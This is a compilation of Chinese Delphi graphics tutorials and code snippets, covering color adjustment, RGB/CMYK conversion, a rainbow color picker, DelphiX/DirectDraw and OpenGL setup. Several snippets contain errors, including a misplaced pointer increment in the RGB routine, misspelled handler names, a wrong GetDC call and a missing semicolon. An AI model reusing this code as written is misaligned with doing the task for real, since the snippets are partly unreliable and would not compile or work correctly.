R=G=B=(lum*RGBMAX)/HLSMAX;

if (hue != UNDEFINED) {

/* ERROR */

}

}

else { /* chromatic case */

/* set up magic numbers */

if (lum <= (HLSMAX/2))

Magic2 = (lum*(HLSMAX + sat) + (HLSMAX/2))/HLSMAX;

else

Magic2 = lum + sat - ((lum*sat) + (HLSMAX/2))/HLSMAX;

Magic1 = 2*lum-Magic2;

/* get RGB, change units from HLSMAX to RGBMAX */

R = (HueToRGB(Magic1,Magic2,hue+(HLSMAX/3))*RGBMAX +

(HLSMAX/2))/HLSMAX;

G = (HueToRGB(Magic1,Magic2,hue)*RGBMAX + (HLSMAX/2)) / HLSMAX;

B = (HueToRGB(Magic1,Magic2,hue-(HLSMAX/3))*RGBMAX +

(HLSMAX/2))/HLSMAX;

}

return(RGB(R,G,B));

}


改变图象的对比度、亮度、饱和度
改变图象的对比度、亮度、饱和度

宋体 // Bitmap.ScanLine[X] 可以获取图像象素的内存地址,24Bits的Bitmap的每一象

// 素是以三原色RGB的次序存放的,改变RGB的值就可调节Bitmap的色彩.

// R, G, B: -255~255

procedure RGB(var Bmp: TBitmap; R, G, B: Integer);

var

X, Y: Integer;

I: Byte;

ColorTable: array[0..255] of TRGBColor;

pRGB: PRGBColor;

begin

for I := 0 to 255 do

begin

ColorTable[I].R := Byte(I + R);

ColorTable[I].G := Byte(I + G);

ColorTable[I].B := Byte(I + B);

end;

for Y := 0 to Bmp.Height - 1 do

begin

pRGB := Bmp.ScanLine[Y];

for X := 0 to Bmp.Width - 1 do

begin

pRGB.R := ColorTable[pRGB.R].R;

pRGB.G := ColorTable[pRGB.G].G;

pRGB.B := ColorTable[pRGB.B].B;

end;

Inc(pRGB);

end;

end;

// 改变图像的亮度,也只需调用RGB(Bmp, X, X, X)改变三原色.

// 调节Bitmap的对比度

// 应用公式: 新颜色值 = (旧颜色值 - 128) * 系数 + 128

procedure Contrast(var Bmp: TBitmap; Amount: Integer);

// Amount: -255~255

var

X, Y: Integer;

I: Byte;

ColorTable: array[0..255] of TRGBColor;

pRGB: PRGBColor;

begin

for I := 0 to 126 do

begin

Y := (Abs(128 - I) * Amount) div 256;

ColorTable[I].r := GetRValue(Byte(I - Y));

ColorTable[I].g := GetGValue(Byte(I - Y));

ColorTable[I].b := GetBValue(Byte(I - Y));

end;

for I := 127 to 255 do

begin

Y := (Abs(128 - I) * Amount) div 256;

ColorTable[I].r := GetRValue(Byte(I + Y));

ColorTable[I].g := GetGValue(Byte(I + Y));

ColorTable[I].b := GetBValue(Byte(I + Y));

end;

for Y := 0 to Bmp.Height - 1 do

begin

pRGB := Bmp.ScanLine[Y];

for X := 0 to Bmp.Width - 1 do

begin

pRGB.R := ColorTable[pRGB.R].R;

pRGB.G := ColorTable[pRGB.G].G;

pRGB.B := ColorTable[pRGB.B].B;

Inc(pRGB);

end;

end;

end;

// 改变饱和度

procedure Saturation(var Bmp: TBitmap; Amount: Integer); // Amount: 0~510

var

Grays: array[0..767] of Integer;

Alpha: array[0..255] of Word;

Gray, X, Y: Integer;

pRGB: PRGBColor;

I: Byte;

begin

for I := 0 to 255 do Alpha[I] := (I * Amount) shr 8;

x := 0;

for I := 0 to 255 do

begin

Gray := I - Alpha[I];

Grays[X] := Gray; Inc(X);

Grays[X] := Gray; Inc(X);

Grays[X] := Gray; Inc(X);

end;

for Y := 0 to Bmp.Height - 1 do

begin

pRGB := Bmp.ScanLine[Y];

for X := 0 to Bmp.Width - 1 do

begin

Gray := Grays[pRGB.R + pRGB.G + pRGB.B];

pRGB.R := Byte(Gray + Alpha[pRGB.R]);

pRGB.G := Byte(Gray + Alpha[pRGB.G]);

pRGB.B := Byte(Gray + Alpha[pRGB.B]);

Inc(pRGB);

end;

end;

end;


色彩的灰度转化
色彩的灰度转化

function RgbToGray(RGBColor : TColor) : TColor;

var

Gray : byte;

begin

Gray := Round((0.30 * GetRValue(RGBColor)) +

(0.59 * GetGValue(RGBColor)) +

(0.11 * GetBValue(RGBColor )));

Result := RGB(Gray, Gray, Gray);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

Shape1.Brush.Color := RGB(255, 64, 64);

Shape2.Brush.Color := RgbToGray(Shape1.Brush.Color);

end;


颜色取反
快速将某一区域的颜色取反,主要应用在制作表格时的选择区域.

API函数:PatBlt(MyHDC:HDC;X,Y,WIDTH,HEIGHT:INTEGER;MODE);

例如:

var

MyDC:HDC;

Begin

MyDC:HDC;

MyDC:=GetDC(Form1.Handle);

if not PatBlt(MyDC,1,1,100,100,DSTINVERT) then

ShowMessage('ERROR :~(');

End;


取得当前光标处的颜色
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;

Shift: TShiftState);

var

DC:HDC;

X,Y:Integer;

begin

X:=Mouse.CursorPos.X;

Y:=Mouse.CursorPos.Y;

if Key<>VK_Return then Exit;

DC:=GetDC(0);

Color:=GetPixel(DC,X,Y);

end;


创建调色板
创建调色板

procedure TForm1.Button1Click(Sender: TObject);

var

lpPalette : PLogPalette;

hPal : hPalette;

i : integer;

begin

{Allocate the memory used by the palette}

GetMem(lpPalette,

sizeof(TLogPalette) + (255 * sizeof(TPaletteEntry)));

{Fill out the palette header}

lpPalette^.palVersion := $300;

lpPalette^.palNumEntries := 256;

{Turn range checking off if it is on and}

{remember the range checking state}

{$IFOPT R+}

{$DEFINE CKRANGE}

{$R-}

{$ENDIF}

{Fill in the palette structure color table with shades of gray}

for i := 0 to 255 do begin

lpPalette^.PalPalEntry[i].peRed := i;

lpPalette^.PalPalEntry[i].peGreen := i;

lpPalette^.PalPalEntry[i].peBlue := i;

end;

{Turn range checking back on if it was on when we started}

{$IFDEF CKRANGE}

{$UNDEF CKRANGE}

{$R+}

{$ENDIF}

{Create a palette handle}

hPal := CreatePalette(lpPalette^);

{Free the memory use by the palette structure}

FreeMem(lpPalette,

sizeof(TLogPalette) + (255 * sizeof(TPaletteEntry)));

{Do something with the palette here}

{Delete the palette handle after use}

DeleteObject(hPal);

end;


作一个类似PhotoShop那样的取色板
procedure PaintRainbow(Dc: hDc; {Canvas to paint to}

x: integer; {Start position X}

y: integer; {Start position Y}

Width: integer; {Width of the rainbow}

Height: integer {Height of the rainbow};

bVertical: bool; {Paint verticallty}

WrapToRed: bool); {Wrap spectrum back to red}

var

i : integer;

ColorChunk : integer;

OldBrush : hBrush;

OldPen : hPen;

r : integer;

g : integer;

b : integer;

Chunks : integer;

ChunksMinus1 : integer;

pt : TPoint;

begin

OffsetViewportOrgEx(Dc, x, y, pt);

if WrapToRed = false then

Chunks := 5

else

Chunks := 6;

if bVertical = false then

ColorChunk := Width div Chunks

else

ColorChunk := Height div Chunks;

{Red To Yellow}

r := 255;

b := 0;

for i := 0 to ColorChunk do

begin

g := (255 div ColorChunk) * i;

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy)

else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc, OldBrush));

end;

{Yellow To Green}

g := 255;

b := 0;

for i := ColorChunk to (ColorChunk * 2) do

begin

r := 255 - (255 div ColorChunk) * (i - ColorChunk);

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy)

else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc, OldBrush));

end;

{Green To Cyan}

r := 0;

g := 255;

for i := (ColorChunk * 2) to (ColorChunk * 3) do

begin

b := (255 div ColorChunk) * (i - ColorChunk * 2);

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy)

else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc, OldBrush));

end;

{Cyan To Blue}

r := 0;

b := 255;

for i := (ColorChunk * 3) to (ColorChunk * 4) do

begin

g := 255 - ((255 div ColorChunk) * (i - ColorChunk * 3));

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy)

else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc, OldBrush));

end;

{Blue To Magenta}

g := 0;

b := 255;

for i := (ColorChunk * 4) to (ColorChunk * 5) do

begin

r := (255 div ColorChunk) * (i - ColorChunk * 4);

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy)

else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc, OldBrush))

end;

if WrapToRed <> false then

begin

{Magenta To Red}

r := 255;

g := 0;

for i := (ColorChunk * 5) to ((ColorChunk * 6) - 1) do

begin

b := 255 - ((255 div ColorChunk) * (i - ColorChunk * 5));

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy)

else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc, OldBrush));

end;

end;

{Fill Remainder}

if (Width - (ColorChunk * Chunks) - 1) > 0 then

begin

if WrapToRed <> false then

begin

r := 255;

g := 0;

b := 0;

end

else

begin

r := 255;

g := 0;

b := 255;

end;

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, ColorChunk * Chunks, 0, Width - (ColorChunk * Chunks), Height, PatCopy)

else

PatBlt(Dc, 0, ColorChunk * Chunks, Width, Height - (ColorChunk * Chunks), PatCopy);

DeleteObject(SelectObject(Dc, OldBrush));

end;

OffsetViewportOrgEx(Dc, Pt.x, Pt.y, pt);

end;

function ColorAtRainbowPoint(ColorPlace: integer;

RainbowWidth: integer;

WrapToRed: bool): TColorRef;

var

ColorChunk : integer;

ColorChunkIndex : integer;

ColorChunkStart : integer;

begin

if ColorPlace = 0 then

begin

result := RGB(255, 0, 0);

exit;

end;

{WhatChunk}

if WrapToRed <> false then

ColorChunk := RainbowWidth div 6

else

ColorChunk := RainbowWidth div 5;

ColorChunkStart := ColorPlace div ColorChunk;

ColorChunkIndex := ColorPlace mod ColorChunk;

case ColorChunkStart of

0:

result := RGB(255,

(255 div ColorChunk) * ColorChunkIndex, 0);

1: result := RGB(255 - (255 div ColorChunk) * ColorChunkIndex, 255, 0);

2: result := RGB(0, 255, (255 div ColorChunk) * ColorChunkIndex);

3: result := RGB(0, 255 - (255 div ColorChunk) * ColorChunkIndex, 255);

4: result := RGB((255 div ColorChunk) * ColorChunkIndex, 0, 255);

5: result := RGB(255, 0, 255 - (255 div ColorChunk) * ColorChunkIndex);

else

if WrapToRed <> false then

result := RGB(255, 0, 0)

else

result := RGB(255, 0, 255);

end; {Case}

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

PaintRainbow(Form1.Canvas.Handle, 0, 0, Form1.ClientWidth, Form1.ClientHeight, false, true);

end;

procedure TForm1.FormResize(Sender: TObject);

begin

InvalidateRect(Form1.Handle, nil, false);

end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

var

Color : TColorRef;

begin

Color := ColorAtRainbowPoint(y, Form1.ClientWidth, true);

ShowMessage(IntToStr(GetRValue(Color)) + #32 + IntToStr(GetGValue(Color)) + #32 + IntToStr(GetBValue(Color)));

end;


转化RGB颜色为CMYK颜色
转化RGB颜色为CMYK颜色

procedure RGBTOCMYK(R : byte;

G : byte;

B : byte;

var C : byte;

var M : byte;

var Y : byte;

var K : byte);

begin

C := 255 - R;

M := 255 - G;

Y := 255 - B;

if C < M then

K := C else

K := M;

if Y < K then

K := Y;

if k > 0 then begin

c := c - k;

m := m - k;

y := y - k;

end;

end;

procedure CMYKTORGB(C : byte;

M: byte;

Y : byte;

K : byte;

var R : byte;

var G : byte;

var B : byte);

begin

if (Integer(C) + Integer(K)) < 255 then

R := 255 - (C + K) else

R := 0;

if (Integer(M) + Integer(K)) < 255 then

G := 255 - (M + K) else

G := 0;

if (Integer(Y) + Integer(K)) < 255 then

B := 255 - (Y + K) else

B := 0;

end;

procedure ColorCorrectCMYK(var C : byte;

var M : byte;

var Y : byte;

var K : byte);

var

MinColor : byte;

begin

if C < M then

MinColor := C else

MinColor := M;

if Y < MinColor then

MinColor := Y;

if MinColor + K > 255 then

MinColor := 255 - K;

C := C - MinColor;

M := M - MinColor;

Y := Y - MinColor;

K := K + MinColor;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

R : byte;

G : byte;

B : byte;

C : byte;

M : byte;

Y : byte;

K : byte;

begin

R := 151;

G := 81;

B := 55;

Memo1.Lines.Add('R = ' + IntToStr(R));

Memo1.Lines.Add('G = ' + IntToStr(G));

Memo1.Lines.Add('B = ' + IntToStr(B));

Memo1.Lines.Add('-------------------');

RGBTOCMYK(R, G, B, C, M, Y, K);

Memo1.Lines.Add('C = ' + IntToStr(C));

Memo1.Lines.Add('M = ' + IntToStr(M));

Memo1.Lines.Add('Y = ' + IntToStr(Y));

Memo1.Lines.Add('K = ' + IntToStr(K));

Memo1.Lines.Add('-------------------');

CMYKTORGB(C, M, Y, K, R, G, B);

Memo1.Lines.Add('R = ' + IntToStr(R));

Memo1.Lines.Add('G = ' + IntToStr(G));

Memo1.Lines.Add('B = ' + IntToStr(B));

Memo1.Lines.Add('-------------------');

RGBTOCMYK(R, G, B, C, M, Y, K);

c := c + 2;

m := m + 2;

y := y + 2;

ColorCorrectCMYK(C, M, Y, K);

Memo1.Lines.Add('C = ' + IntToStr(C));

Memo1.Lines.Add('M = ' + IntToStr(M));

Memo1.Lines.Add('Y = ' + IntToStr(Y));

Memo1.Lines.Add('K = ' + IntToStr(K));

end;


在Delphi中使用DirectX
在Delphi中使用DirectX

作者：

在Delphi中使用DirectX

Delphi作为一种方便的可视化程序设计语言，一 直非常受大家喜爱。但它在图形处理、3D表现等方面 不很让人满意。如果说你要开发一个Windows95下的 3D游戏，你会用什么工具呢？DirectX!不少人会不加 思索地答道。然而接触过DirectX的朋友们都知道它 内部的结构复杂，一般来说结合VC开发是一个理想 的组合。而要在Delphi中利用DirectX SDK真是难上 加难。但现在一切都好啦，有了本文介绍的DelphiX 组件，你终于可以用你熟悉的Delphi来开发漂亮的图 形程序了。

DelphiX是由日本人Hiroyuki Hori开发的使Di rectX5.0在Delphi中更容易使用的一套控件，从网上 下载时叫DelphiX.zip,837KB。解开后在bin目录下 运行install_for?（根据你的Delphi版本号，支持3.0和 4.0），DelphiX会自动将控件安装到你的Delphi中，帮 助文件也自动融合到Delphi的帮助里，真是好用极 了！

DelphiX包括的控件有如下这些：

TDXDraw 最重要的控件，是DirectDraw和Direct3D的基础；

TDXDIB 一个代表DIB图像的控件；

TDXImageList 代表一组 Tpicture；

TDX3D Direct3D控件，要与TDXDraw共同使用；

TDXSound DirectSound控件；

TDXWave 一个代表波形Wave的控件；

TDXWaveList 一组Wave；

TDXInput 输入控制控件（操纵键盘和摇杆要靠它）；

TDXPlay 通讯控件；

TDXSpriteEngine “精灵”引擎；

TDXTimer 高速时间控件；

TDXPaintbox TDXForm 专为DelphiX优化过的Form。

DirectDraw中重要的对象有：

TDirectDraw对象

DirectDraw应用程序的核心，它是你创建的第一个对象。创建了DirectDraw对 象后，可以在它的基础上创建其它所有相关的对象。 在DelphiX中的TDXdraw.ddraw属性即是一个Tdi rectDraw对象。

TDirectDrawSurface对象

表征了一块内存区 域，在该区域的数据将作为图像显示在屏幕上或移动 到其它表面上。

TDirectDrawPalette对象

表征了一个用于表面 的16色或256色的索引调色板，它包含了一系列描述 同表面相关的RGB颜色索引值。

TDirectDrawClipper对象

帮助你禁止向表面的 某一位置或超出表面的位置块写数据。

Tsprite对象

代表了“精灵”，在许多视频游戏都 使用了精灵。从最基本的意义上来讲，一个精灵就是 在屏幕上移动的图像。精灵画在一个表面上，覆盖在 已有的背景上，合成后的图像被送到屏幕上显示出 来，在DelphiX中通过TspriteEngine实现对Tsprite的 控制。

TDirectDrawSurfaceCanvas对象

提供方便的 访问机制，你可以像访问一般Canvas对象一样访问 它。TDXDraw.Surface.Canvas即是这样一个对象。

TdirectDrawDisplay对象

控制着DirectDraw的 显示模式，TdxDraw.display是这样一个对象。

DelphiX基本上严格按照Microsoft DirectX SDK 开发包来将其功能在Delphi中实现出来。所以，如果 你对DirectX SDK比较熟悉的话，你会发现大多数程 序从C移植到Delphi是很容易的事。DelphiX中没有 提供帮助的地方，你可以在DirectX SDK中获得答 案。

下面通过一个简单的例子对如何利用DelphiX编 程作一介绍，只涉及Ddraw二维的一小部分。

unit Unit1;

interface

uses

Windows.Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

DXClass, DXDraws, DIB;

type

TForm1=class(TDXForm)

DXDraw1:TDXDraw;

DXTimer1:TDXTimer;

DXDIB1:TDXDIB;

procedure DXDrawlFinalize(Sender:Tobject);

procedure DXDraw1Initialize(Sender:Tobject);

procedure DXDraw1RestoreSurfase(Sender:Tobject);

procedure DXTimer1Timer(Sendsr:Tobject;LagCount:Integer);

procedure FormActivate(Sender:Tobject);

private

{Private declarations}

public

{Public declarations}

private

Fsurface:TDirectDrawSurface;

end;

var

Form1:TForm1;

x,y:integer;

implementation

{$R *.DFM}

procedure TForm1.DXDrawlInitialize(Sender:Tobject);

begin

Fsurface:=TDirectDrawSurface.Create(DXDraw1.Ddraw);

{创建抽象图像表面}

end;

procedure TForm1.DXDraw1Finalize(Sender:Tobject);

begin

Fsurface.Free; Fsurface: = nil;

{释放表面}

end;

procedure TForm1.DXDraw1RestoreSurfare(Sender:Tobject);

begin

Fsurface.LoadfromGraphic(DXDIB1.DIB);{将位图送入抽象表面}

end;

procedure TForm1.DXTimer1Timer(Sendsr.Tobject;LagCount integer);

begin

if not DXDraw1.CanDraw then Exit;{在绘制之前检验是否允许}

DXDraw1.Surfaca.Fill(0);

x: = x + 1;

y: = y + 1;

DXDraw1.Surface.Draw(X, Y, Fsurface.ClientRect,Fsur face, True);

DXDraw1.Flip; {将内存中的表面再将映射入实际显存}

end;

procedure TForm1.FormActivate(Sender:Tobject);

begin

X: =0;

y: =0;

end;

end.

首先要在程序开头包含DXClass、DXDraws两个 Unit（TDXtimer、TDXForm在DXClass中定义，TDX Draw在DXDraws中定义）。程序用的Form不要从一 般的Tform派生，而应从TDXForm中派生。在Form 中放入TDXDraw控件和TDXTimer控件，将其inter val值设为0。对DXDraw1控件改变其属性，使其与 Form大小一致。再放人一个TDXDIB控件，在其属性 中的DIB一项调人一个位图，如Windows下的bub bles.bmp。定义一个DirectDraw表面Fsurface，这是一 个抽象内存表面，以后会将它映射到DXDraw对象的 Surface上。在DXDraw的Events一栏中编写OnIni tialize、OnFinalize、OnRestoreSurface三个过程，之后便 可以根据需要对表面进行操纵。

另外，要完成上面程序的功能，还有其他不少办 法。例如利用TDXImageList对象，可以用它的方法 Imagelist.items[N].draw来完成同样功能。

总之，DirectX博大精深，希望本文能为大家掀开 冰山的一角。DelphiX可以在pigprince的个人主页上 找到，网址是Http://www.netease.net/~pigprins


为全屏幕方式的DirectDraw对象指定窗口Handle
为全屏幕方式的DirectDraw对象指定窗口Handle

    在DirectX编程中，IDirectDraw2对象有一个方法名为SetCooperativeLevel，功能是指定该对象的性能级别。调用该方法需要指定一个窗口Handle，在C++中可简单地指定为主程序的窗口Handle，而在Delphi中，如果设定的级别为全屏幕独占方式，则这个Handle一定要是Application.Handle而不是MainForm.Handle，这一点在我所见到的所有关于DirectDraw的封装、构件中均未得见。

    在设定为全屏幕独占方式时，还要先使Application.Handle所代表的窗口显示在最前方，否则下一步调用CreateSurface方法就会失败。这一点也是我几经尝试才总结出来的。请见示例代码：

function CreateFullScreen(out DDrawObj:IDirectDraw2):HRESULT var lpDD : IDirectDraw;

begin

Result:=DirectDrawCreate(nil,lpDD,nil);

if Result<>DD_OK then

raise Exception.Create('Failed Create!');

Result:=lpDD.QueryInterface(IID_IDirectDraw2,DDrawObj);

if Result<>DD_OK then

raise Exception.Create('Failed QueryInterface!');

ShowWindow(Application.Handle,SW_SHOWMAXIMIZED);

Result:=DDrawObj.SetCooperativeLevel( Application.Handle,{很重要，一定要是Application窗口} DDSCL_FULLSCREEN or DDSCL_EXCLUSIVE);

if Result<>DD_OK then

raise Exception.Create('Failed SetCooperativeLevel');

Result:=DDrawObj.SetDisplayMode(640,480,8,0,0);

end;


用Delphi进行OpenGL编程学习心得
用Delphi进行OpenGL编程学习心得

---- 在开发图形程序时，尤其是三维的图形程序，因为感觉OpenGL没有DirectX那么庞杂，所以选择了DelphiOpenGL，凭感觉而言，Delphi也没有C++那么繁杂而且更加人性化，于是选择Delphi+OpenGL进行工作。在这过程中，碰到（肯定会）一些问题，在此提出希望和朋友们能够进行交流。

---- 首先是初始化。初始化时，有几项工作需要进行：①创建设备描述表（Device Context）。（注：关于DC，各种资料译文不尽相同如设备环境、设备描述表、设备上下文等，但好象都不太贴切。要是能有李善兰这样的翻译就好了。下文中的RC情形相同）②设置相应的象素格式（PIXELFORMAT DESCRIPTOR）。③创建着色描述表（Rendering Context）。 Delphi中有好几种获得或创建设备描述表的方法。最简单的就是直接获得画布对象（TCanvas）的句柄属性（Handle），如：

DC：HDC；

DC：=Canvas.Handle；

也可以用API函数GetDC获得设备描述表。如：

DC：=GetDC（Handle，DC）；

---- 也可以用函数CreateCompatibleDC或者BeginPaint..EndPaint（需要注意它们之间的区别）等来获得设备描述表。但是设备描述表用完之后要记得释放或删除它，以解放资源的占用。拥有设备描述表的使用权后，就可以设置相应的象素格式。象素格式是个记录类型，其中有些字段或域是没什么用处的（至少现在是）。象素格式描述完成后，调用ChoosePixelFormat和SetPixelFormat函数将之与设备描述表进行匹配和设置。如下面代码：

function SetupPixelFormat(var dc:HDC):Boolean;

var

ppfd:PPIXELFORMATDESCRIPTOR;

npixelformat:Integer;

begin

New(ppfd);

ppfd^.nSize:=sizeof(PIXELFORMATDESCRIPTOR);

ppfd^.nVersion:=1;

ppfd^.dwFlags:=PFD_DRAW_TO_WINDOW

or PFD_SUPPORT_OPENGL or

PFD_DOUBLEBUFFER;

ppfd^.dwLayerMask:=PFD_MAIN_PLANE;

ppfd^.iPixelType:=PFD_TYPE_COLORINDEX;

ppfd^.cColorBits:=8;

ppfd^.cDepthBits:=16;

ppfd^.cAccumBits:=0;

ppfd^.cStencilBits:=0;

npixelformat:=ChoosePixelFormat(dc, ppfd);

if (nPixelformat=0) then

begin

MessageBox(NULL, 'choosePixelFormat failed',

'Error', MB_OK);

Result:=False;

Exit;

end;

if (SetPixelFormat(dc, npixelformat, ppfd)= FALSE) then

begin

MessageBox(NULL, 'SetPixelFormat failed',

'Error', MB_OK);

Result:=False;

Exit;

end;

Result:=True;

Dispose(ppfd);

end;

也可以向下面这样进行设置如：

var pfd: PixelFormatDescriptor;

nPixelFormat : Integer;

begin

FillChar(pfd,SizeOf(pfd),0);

with pfd do

begin

nSize:=sizeof(pfd);

nVersion:=1;

dwFlags:=PFD_SUPPORT_OPENGL

or PFD_DRAW_TO_BITMAP

or PFD_DOUBLEBUFFER;

iPixelType:=PFD_TYPE_RGBA;

cColorBits:=32;

cDepthBits:=32;

iLayerType:=Byte（PFD_MAIN_PLANE);

end;

nPixelFormat:=ChoosePixelFormat(DC,@pfd);

SetPixelFormat(DC,nPixelFormat,@pfd);

{ // 使用DescribePixelFormat检查象素格式是否设置正确

DescribePixelFormat(DC,nPixelFormat,SizeOf(pfd),@pfd);

if (pfd.dwFlags and PFD_NEED_PALETTE)

< > 0 then SetupPalette(DC,pfd);

//SetupPalette是自定义函数

}end；

---- 上述工作完成以后，最好先运行一遍，并检查nPixelFormat的值。正常的话，该值应该是大于0的，否则就有问题。同样的代码，我在NT机器上能够得到正确的大于0的值而在PWIN97或98的机器上得不到正确值，但是编译时不会有问题，而且NT上编译后在PWIN97机器上也能够正确运行。现在可以创建着色描述表（RC）了。调用函数wglCreateContext、wglMakeCurrent，如下例示：

RC：HGLRC；

RC:=wglCreateContext(DC);

wglMakeCurrent(DC,RC);

在程序结束之前，要记得释放所占用的资源。

wglMakeCurrent(0,0);

if RC< >null then

wglDeleteContext(RC);

if ghDC< >null then

ReleaseDC(Handle,DC);

---- 以下的代码是从C++Builder 4中OpenGL的例子改写过来的。编译后的程序大小为300K左右，而在C++Builder 4下编译后程序的大小为384K。

---- < a href="061403-05.zip ">程序代码 Zip 3KB

---- 程序中的OpenGL函数及象素格式在Delphi中的MSHelp中有比较详细的解释，本文不敢多做解释。


OpenGL演示
专栏：Delphi技术 文章编号：977 文章类别： 原创 作者： 品雪 加贴时间：00-6-25 0:10:03

做一个OpenGL控件

关键词：Delphi - OpenGL

OpenGL是一个独立于窗口的图形库，而图形最终是在窗口系统里绘制出来的，那么OpenGL的绘图命令是怎么在窗口里生成输出的呢？

这就是各个系统上的OpenGL实现者需要做的工作了。在Windows里是通过wgl库完成的，在X-Windows里是通过glx服务器来完成的，至于这些OpenGL实现具体是怎么工作的，请参考sgi发布的sample implement源码，不过那个代码是用C写的。

在MS-Windows里，wgl库负责将OpenGL的绘制设备RenderContext与GDI的DeviceContext联系起来，使得发到OpenGL的RC里的命令生成的位图能够在GDI DC里绘制出来，你可以把它想象成OpenGL在RC里有一个FrameBuffer，记录着生成的图案，而wgl则负责把FrameBuffer的内容BitBlt到DC上。当然，这并不是它实际的工作方法，如果想了解更多请参考SGI发布的SDK资料或联系MS公司。

为了使GDI DC能够接受OpenGL RC的输出，必须为DC选定特别的像素格式，然后建立RC，再用wglMakeCurrent把当前要使用的RC和DC联系起来。此后我们就可以用OpenGL命令正常工作了。在一个程序里可以创建多个RC和多个DC，程序中的OpenGL命令会发到被wglMakeCurrent指定为当前的那一组合中。

我并不认为这个初始化过程是个很有意思的工作，这个世界上有很多聪明的程序员也这么想，所以他们发明了glaux库和glut库。glaux是在著名的OpenGL Programmer Guide里提出的，这本书是OpenGL编程的官方文档，因为它的封皮是红色的，所以通常简称为RedBook。故名思意，glaux是一套输助库，它使得你无须关心在具体窗口系统里初始化、消息响应的细节，而是使用传统的c/dos程序风格编制OpenGL程序。

int main(int argc, char** argv)

{ auxInitDisplayMode( AUX_SINGLE|AUX_RGB|AUX_DEPTH16);//使用单缓冲、RGB彩色模式、16位浓度

auxInitPosition(0,0,250,250);

auxInitWindow("Title");//以上两行在(0,0)片建立了一个大小为250X250的窗口，其标题为"Title"。

myinit();//建立OpenGL透视投影环境

auxReshapeFunc(myReshape);//指定窗口大小变化的响应函数

auxMainLoop(display);//指定绘制函数

return 0; }

由于glaux是为教学目的开发的，所以实用价值很限，所以又有程序员开发了glut，这套库被广泛使用，它的工作方式与glaux极为类似，但功能完善得多，特别是对交互、全屏等的支持要理想得多，所以许多的OpenGL演示程序使用它，比如SGI网站上提供的多数演示程序都需要使用它。同时这套库已经被移植到多种平台上，所以要是想用简单的方法开发在windows/macos/os2/xwindows等系统上都能使用的程序，那么应该选择这套库。

我并不认为一个Delphi程序员会喜欢glaux或glut，因为那意味着你不能利用Delphi的可视开发能力，另外任何真正实用的Delphi程序想直接在其它操作系统上编译运行好象也不现实，即glut的跨平台能力也没有什么吸引力。我们应该开发一个VCL控件，把初始化工作封装起来。

我认为从TCustomPanel派生一个子类比较方便，让我们称它为TGLPanel吧。初始化过程要在WMCreate里完成，之所以要放在这里是因为这个时候Window Handle已经建立，但还没启用。

在WMCreate中会①调用initDC完成DC调整工作，initDC会以本窗口使用的DC调用PreparePixelFormat，而PixelFormat则真正完成像素格式调整，②然后WMCreate会调用InitGL完成OpenGL透视投影环境的设定，③最后调用OnInit给用户一个调整透视投影环境的机会。

注意，如果要在MDI环境中的子窗体中使用OpenGL，还有些附加工作要做，这就是给窗口类的Params.Style加上WS_CLIPCHILDREN和WS_CLIPSIBLINGS属性，这得在Window Handle建立之前就完成，因此要写在CreateParams里。由于SDI应用并不需要该代码，所以应该定义OnPreInit事件，让用户在需要的时候自己加上，在Create里调用OnPreInit。以下代码定义了OnPreInit，但并没有定义CreateParams，如果需要自己加上吧。

在TGLPanel类中实际所做工作的详细说明（按成员可见性组织）：

私有

1、加入DC/RC/Pal私有变量

2、定义初始化DC/RC的私有方法

保护：

3、加入FOnPaint,FOnResize,FOnInit,FOnPreInit四个事件响应变量。

4、继承/重载虚方法CreateParams,Paint,Resize

5、响应以下消息

WM_CREATE, TWMCreate, WMCreate

WM_DESTROY, TWMDestroy, WMDestroy

WM_PALETTECHANGED, TWMPaletteChanged, WMPaletteChanged

WM_QUERYNEWPALETTE, TWMQueryNewPalette, WMQueryNewPalette

WM_ERASEBKGND, TWMEraseBkgnd, WMEraseBkgnd

公开：

6、定义建构与析构方法

7、定义必要的其它方法以提供各种特性

发布：

8、以下继承来的属性

__property Alignment;

__property Align;

__property DragCursor;

__property DragMode;

__property Enabled;

__property ParentFont;

__property ParentShowHint;

__property PopupMenu;

__property ShowHint;

__property TabOrder;

__property TabStop;

__property Visible;

9、以下继承来的方法

__property OnClick;

__property OnDblClick;

__property OnDragDrop;

__property OnDragOver;

__property OnEndDrag;

__property OnEnter;

__property OnExit;

__property OnMouseDown;

__property OnMouseMove;

__property OnMouseUp;

__property OnStartDrag;

10、加入以下事件

//初始化OpenGL状态

__property TNotifyEvent OnInit = {read=FOnInit,write=FOnInit};

//专用于修改显示BPP模式

__property TNotifyEvent OnPreInit = {read=FOnPreInit,write=FOnPreInit};

11、重载以下事件

__property TNotifyEvent OnResize = {read=FOnResize,write=FOnResize};

__property TNotifyEvent OnPaint = {read=FOnPaint,write=FOnPaint};

